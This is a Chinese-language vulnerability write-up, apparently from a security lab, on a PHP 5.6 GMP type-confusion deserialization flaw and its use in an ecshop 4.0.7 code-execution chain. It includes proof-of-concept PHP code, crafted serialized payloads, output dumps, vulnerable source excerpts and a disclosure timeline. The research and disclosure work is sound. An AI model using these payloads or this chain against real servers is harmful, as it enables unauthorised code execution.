作者：LoRexxar'@知道創宇404實驗室
時間：2020年3月31日
English Version: http://www.bjnorthway.com/1268
本文初完成于2020年3月31日，由于涉及到0day利用，所以于2020年3月31日報告廠商、CNVD漏洞平臺，滿足90天漏洞披露期，遂公開。
前幾天偶然看到了一篇在Hackerone上提交的漏洞報告，在這個漏洞中，漏洞發現者提出了很有趣的利用，作者利用GMP的一個類型混淆漏洞，配合相應的利用鏈可以構造mybb的一次代碼執行，這里我們就一起來看看這個漏洞。
https://hackerone.com/reports/198734
以下文章部分細節，感謝漏洞發現者@taoguangchen的幫助。
GMP類型混淆漏洞
漏洞利用條件
- php 5.6.x
- 反序列化入口點
- 可以觸發__wakeup的觸發點（在php < 5.6.11以下，可以使用內置類）
漏洞詳情
gmp.c
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}
if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}zend_object_handlers.c
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}從gmp.c中的片段中我們可以大致理解漏洞發現者taoguangchen的原話。
__wakeup等魔術方法可以導致ZVAL在內存中被修改。因此，攻擊者可以將**object轉化為整數型或者bool型的ZVAL，那么我們就可以通過Z_OBJ_P訪問存儲在對象儲存中的任何對象，這也就意味著可以通過zend_hash_copy覆蓋任何對象中的屬性，這可能導致很多問題，在一定場景下也可以導致安全問題。
或許僅憑借代碼片段沒辦法理解上述的話，但我們可以用實際測試來看看。
首先我們來看一段測試代碼
<?php
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 1;
}
}
class b{
var $ryat =1;
}
$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;
$obj2 = new b;
$obj3 = new stdClass;
$obj3->aa =2;
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
$obj4 = new stdClass;
var_dump($x);
var_dump($obj);
var_dump($obj2);
var_dump($obj3);
var_dump($obj4);
?>在代碼中我展示了多種不同情況下的環境。
讓我們來看看結果是什么？
array(1) {
[0]=>
&int(1)
}
object(stdClass)#1 (3) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#5 (1) {
["ryat"]=>
&int(1)
}
}
object(b)#2 (1) {
["ryat"]=>
int(1)
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#4 (0) {
}我成功修改了第一個聲明的對象。
但如果我將反序列化的類改成b會發生什么呢？
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';很顯然的是，并不會影響到其他的類變量
array(1) {
[0]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(b)#5 (1) {
["ryat"]=>
&object(GMP)#4 (4) {
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
*RECURSION*
["num"]=>
string(2) "32"
}
}
["num"]=>
string(2) "32"
}
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (1) {
["ryat"]=>
int(1)
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#6 (0) {
}如果我們給class b加一個__Wakeup函數，那么又會產生一樣的效果。
但如果我們把wakeup魔術方法中的變量設置為2
class obj
{
var $ryat;
function __wakeup()
{
$this->ryat = 2;
}
}返回的結果可以看出來，我們成功修改了第二個聲明的對象。
array(1) {
[0]=>
&int(2)
}
object(stdClass)#1 (2) {
["aa"]=>
int(1)
["bb"]=>
int(2)
}
object(b)#2 (4) {
["ryat"]=>
int(1)
["aa"]=>
string(2) "hi"
["bb"]=>
string(2) "hi"
[0]=>
object(obj)#5 (1) {
["ryat"]=>
&int(2)
}
}
object(stdClass)#3 (1) {
["aa"]=>
int(2)
}
object(stdClass)#4 (0) {
}但如果我們把ryat改為4，那么頁面會直接返回500，因為我們修改了沒有分配的對象空間。
在完成前面的試驗后，我們可以把漏洞的利用條件簡化一下。
如果我們有一個可控的反序列化入口，目標后端PHP安裝了GMP插件（這個插件在原版php中不是默認安裝的，但部分打包環境中會自帶），如果我們找到一個可控的__wakeup魔術方法，我們就可以修改反序列化前聲明的對象屬性，并配合場景產生實際的安全問題。
如果目標的php版本在5.6 <= 5.6.11中，我們可以直接使用內置的魔術方法來觸發這個漏洞。
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));真實世界案例
在討論完GMP類型混淆漏洞之后，我們必須要討論一下這個漏洞在真實場景下的利用方式。
漏洞的發現者Taoguang Chen提交了一個在mybb中的相關利用。
https://hackerone.com/reports/198734
這里我們不繼續討論這個漏洞，而是從頭討論一下在ecshop中的利用方式。
漏洞環境
- ecshop 4.0.7
- php 5.6.9
反序列化漏洞
首先我們需要找到一個反序列化入口點，這里我們可以全局搜索unserialize，挨個看一下我們可以找到兩個可控的反序列化入口。
其中一個是search.php line 45
...
{
$string = base64_decode(trim($_GET['encode']));
if ($string !== false)
{
$string = unserialize($string);
if ($string !== false)
...這是一個前臺的入口，但可惜的是引入初始化文件在反序列化之后，這也就導致我們沒辦法找到可以覆蓋類變量屬性的目標，也就沒辦法進一步利用。
還有一個是admin/order.php line 229
/* 取得上一個、下一個訂單號 */
if (!empty($_COOKIE['ECSCP']['lastfilter']))
{
$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));
...后臺的表單頁的這個功能就滿足我們的要求了，不但可控，還可以用urlencode來繞過ecshop對全局變量的過濾。
這樣一來我們就找到了一個可控并且合適的反序列化入口點。
尋找合適的類屬性利用鏈
在尋找利用鏈之前，我們可以用
get_declared_classes()來確定在反序列化時，已經聲明定義過的類。
在我本地環境下，除了PHP內置類以外我一共找到13個類
[129]=>
string(3) "ECS"
[130]=>
string(9) "ecs_error"
[131]=>
string(8) "exchange"
[132]=>
string(9) "cls_mysql"
[133]=>
string(11) "cls_session"
[134]=>
string(12) "cls_template"
[135]=>
string(11) "certificate"
[136]=>
string(6) "oauth2"
[137]=>
string(15) "oauth2_response"
[138]=>
string(14) "oauth2_request"
[139]=>
string(9) "transport"
[140]=>
string(6) "matrix"
[141]=>
string(16) "leancloud_client"從代碼中也可以看到在文件頭引入了多個庫文件
require(dirname(__FILE__) . '/includes/init.php');
require_once(ROOT_PATH . 'includes/lib_order.php');
require_once(ROOT_PATH . 'includes/lib_goods.php');
require_once(ROOT_PATH . 'includes/cls_matrix.php');
include_once(ROOT_PATH . 'includes/cls_certificate.php');
require('leancloud_push.php');這里我們主要關注init.php，因為在這個文件中聲明了ecshop的大部分通用類。
在逐個看這里面的類變量時，我們可以敏銳的看到一個特殊的變量，由于ecshop的后臺結構特殊，頁面內容大多都是由模板編譯而成，而這個模板類恰好也在init.php中聲明
require(ROOT_PATH . 'includes/cls_template.php');
$smarty = new cls_template;回到order.php中我們尋找與$smarty相關的方法，不難發現，主要集中在兩個方法中
...
$smarty->assign('shipping', $shipping);
$smarty->display('print.htm');
...而這里我們主要把視角集中在display方法上。
粗略的瀏覽下display方法的邏輯大致是
請求相應的模板文件
-->
經過一系列判斷，將相應的模板文件做相應的編譯
-->
輸出編譯后的文件地址比較重要的代碼會在make_compiled這個函數中被定義
function make_compiled($filename)
{
$name = $this->compile_dir . '/' . basename($filename) . '.php';
...
if ($this->force_compile || $filestat['mtime'] > $expires)
{
$this->_current_file = $filename;
$source = $this->fetch_str(file_get_contents($filename));
if (file_put_contents($name, $source, LOCK_EX) === false)
{
trigger_error('can\'t write:' . $name);
}
$source = $this->_eval($source);
}
return $source;
}當流程走到這一步的時候，我們需要先找到我們的目標是什么？
重新審視cls_template.php的代碼，我們可以發現涉及到代碼執行的只有幾個函數。
function get_para($val, $type = 1) // 處理insert外部函數/需要include運行的函數的調用數據
{
$pa = $this->str_trim($val);
foreach ($pa AS $value)
{
if (strrpos($value, '='))
{
list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '"'), '', $value));
if ($b{0} == '$')
{
if ($type)
{
eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');
}
else
{
$para[$a] = $this->get_val(substr($b, 1));
}
}
else
{
$para[$a] = $b;
}
}
}
return $para;
}get_para只在select中調用，但是沒找到能觸發select的地方。
然后是pop_vars
function pop_vars()
{
$key = array_pop($this->_temp_key);
$val = array_pop($this->_temp_val);
if (!empty($key))
{
eval($key);
}
}恰好配合GMP我們可以控制$this->_temp_key變量，所以我們只要能在上面的流程中找到任意地方調用這個方法，我們就可以配合變量覆蓋構造一個代碼執行。
在回看剛才的代碼流程時，我們從編譯后的PHP文件中找到了這樣的代碼
order_info.htm.php
<?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>在遍歷完表單之后，正好會觸發pop_vars。
這樣一來，只要我們控制覆蓋cls_template變量的_temp_key屬性，我們就可以完成一次getshell
最終利用效果
Timeline
- 2020.03.31 發現漏洞。
- 2020.03.31 將漏洞報送廠商、CVE、CNVD等。
- 2020.07.08 符合90天漏洞披露期，公開細節。
本文由 Seebug Paper 發布，如需轉載請注明來源。本文地址：http://www.bjnorthway.com/1267/
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